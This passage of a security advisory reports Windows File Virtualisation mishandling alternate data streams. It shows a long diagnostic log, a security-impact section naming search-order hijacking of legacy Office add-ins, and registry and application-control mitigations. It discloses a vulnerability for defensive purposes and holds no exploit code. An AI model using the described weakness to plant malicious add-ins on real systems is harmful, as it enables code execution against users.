    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.hlp'
    File 'C:\Windows:Blunder.hlp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.hlp'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.hlp'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.hlp'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.hlp'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.hta'
    File 'C:\Windows:Blunder.hta' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.hta'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.hta'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.hta'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.hta'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ime'
    File 'C:\Windows:Blunder.ime' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ime'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ime'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ime'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ime'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.inf'
    File 'C:\Windows:Blunder.inf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.inf'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.inf'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.inf'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.inf'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ins'
    File 'C:\Windows:Blunder.ins' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ins'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ins'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ins'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ins'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.iso'
    File 'C:\Windows:Blunder.iso' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.iso'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.iso'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.iso'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.iso'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.isp'
    File 'C:\Windows:Blunder.isp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.isp'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.isp'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.isp'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.isp'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.its'
    File 'C:\Windows:Blunder.its' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.its'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.its'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.its'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.its'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.js'
    File 'C:\Windows:Blunder.js' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.js'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.js'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.js'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.js'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.jse'
    File 'C:\Windows:Blunder.jse' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.jse'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.jse'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.jse'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.jse'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.lnk'
    File 'C:\Windows:Blunder.lnk' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.lnk'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.lnk'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.lnk'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.lnk'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msc'
    File 'C:\Windows:Blunder.msc' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msc'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msc'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msc'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msc'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msi'
    File 'C:\Windows:Blunder.msi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msi'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msi'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msi'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msi'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msp'
    File 'C:\Windows:Blunder.msp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msp'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msp'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msp'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msp'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.mst'
    File 'C:\Windows:Blunder.mst' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.mst'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.mst'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.mst'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.mst'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.mui'
    File 'C:\Windows:Blunder.mui' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.mui'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.mui'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.mui'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.mui'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.nls'
    File 'C:\Windows:Blunder.nls' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.nls'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.nls'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.nls'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.nls'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ocx'
    File 'C:\Windows:Blunder.ocx' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ocx'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ocx'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ocx'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ocx'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.pif'
    File 'C:\Windows:Blunder.pif' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.pif'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.pif'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.pif'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.pif'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.reg'
    File 'C:\Windows:Blunder.reg' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.reg'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.reg'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.reg'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.reg'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.scr'
    File 'C:\Windows:Blunder.scr' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.scr'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.scr'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.scr'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.scr'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.sct'
    File 'C:\Windows:Blunder.sct' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.sct'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.sct'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.sct'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.sct'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.shb'
    File 'C:\Windows:Blunder.shb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.shb'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.shb'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.shb'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.shb'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.shs'
    File 'C:\Windows:Blunder.shs' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.shs'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.shs'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.shs'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.shs'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.sys'
    File 'C:\Windows:Blunder.sys' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.sys'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.sys'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.sys'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.sys'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tlb'
    File 'C:\Windows:Blunder.tlb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tlb'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tlb'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tlb'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tlb'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tmp'
    File 'C:\Windows:Blunder.tmp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tmp'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tmp'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tmp'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tmp'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tsp'
    File 'C:\Windows:Blunder.tsp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tsp'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tsp'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tsp'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tsp'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ttf'
    File 'C:\Windows:Blunder.ttf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ttf'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ttf'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ttf'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ttf'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.url'
    File 'C:\Windows:Blunder.url' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.url'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.url'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.url'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.url'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vb'
    File 'C:\Windows:Blunder.vb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vb'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vb'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vb'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vb'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vbe'
    File 'C:\Windows:Blunder.vbe' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vbe'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vbe'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vbe'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vbe'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vbs'
    File 'C:\Windows:Blunder.vbs' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vbs'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vbs'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vbs'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vbs'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wll'
    File 'C:\Windows:Blunder.wll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wll'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wll'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wll'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wll'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsc'
    File 'C:\Windows:Blunder.wsc' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsc'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsc'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsc'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsc'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsf'
    File 'C:\Windows:Blunder.wsf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsf'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsf'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsf'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsf'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsh'
    File 'C:\Windows:Blunder.wsh' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsh'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsh'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsh'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsh'
    GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.xll'
    File 'C:\Windows:Blunder.xll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.xll'
    CreateProcess() returned error 2 for file 'C:\Windows:Blunder.xll'
    LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.xll'
    DeleteFile() returned error 2 for file 'C:\Windows:Blunder.xll'
    
    0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2)
    Error message text: The system cannot find the file specified.
    CertUtil: -error command completed successfully.
    OUCH⁵: although creation of virtualised Alternate Data Streams succeeds, subsequent accesses but fail with either the wrong Win32 error code 2 alias ERROR_FILE_NOT_FOUND or the wrong error code 126 alias ERROR_MOD_NOT_FOUND instead of the appropriate error code 5 alias ERROR_ACCESS_DENIEDFile Virtualisation is seriously broken for Alternate Data Streams!
Note: an exploration of the blunder for other extensions or with the Win32 functions CreateFile2(), CreateFileTransacted() and DeleteFileTransacted() as well as CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW(), CreateSymbolicLink(), CreateSymbolicLinkTransacted(), LoadLibraryEx(), LoadModule(), MoveFile(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress(), ReOpenFile(), ReplaceFile(), ShellExecute(), ShellExecuteEx() and WinExec() is left as an exercise to the reader.

Note: the comparison of the dangerous extensions exempted from File Virtualisation against the Unsafe File List documented in the MSKB article 291369 is also left as an exercise to the reader.

Security Impact

On Windows Vista and later versions, (legacy) 32-bit applications like Microsoft Office 2003 and earlier versions, which load add-ins from DLLs with extensions like .wll or .xll and are subject to File Virtualisation, are vulnerable to well-known weaknesses like CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element documented in the CWE; they allow well-known attacks like CAPEC-471: Search Order Hijacking documented in the CAPEC.

Mitigation

Disable file (and registry) virtualisation per policy, as documented in the TechNet article UAC Group Policy Settings and Registry Key Settings:
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableVirtualization"=dword:00000000

Alternate Mitigation

Deny execution in every user’s virtual store directory %LOCALAPPDATA%\VirtualStore\ and below via SAFER alias Software Restriction Policies, AppLocker or Windows Defender Application Control alias App Control for Business.

Caveat: beware but of their loopholes!

Contact and Feedback

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2025 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>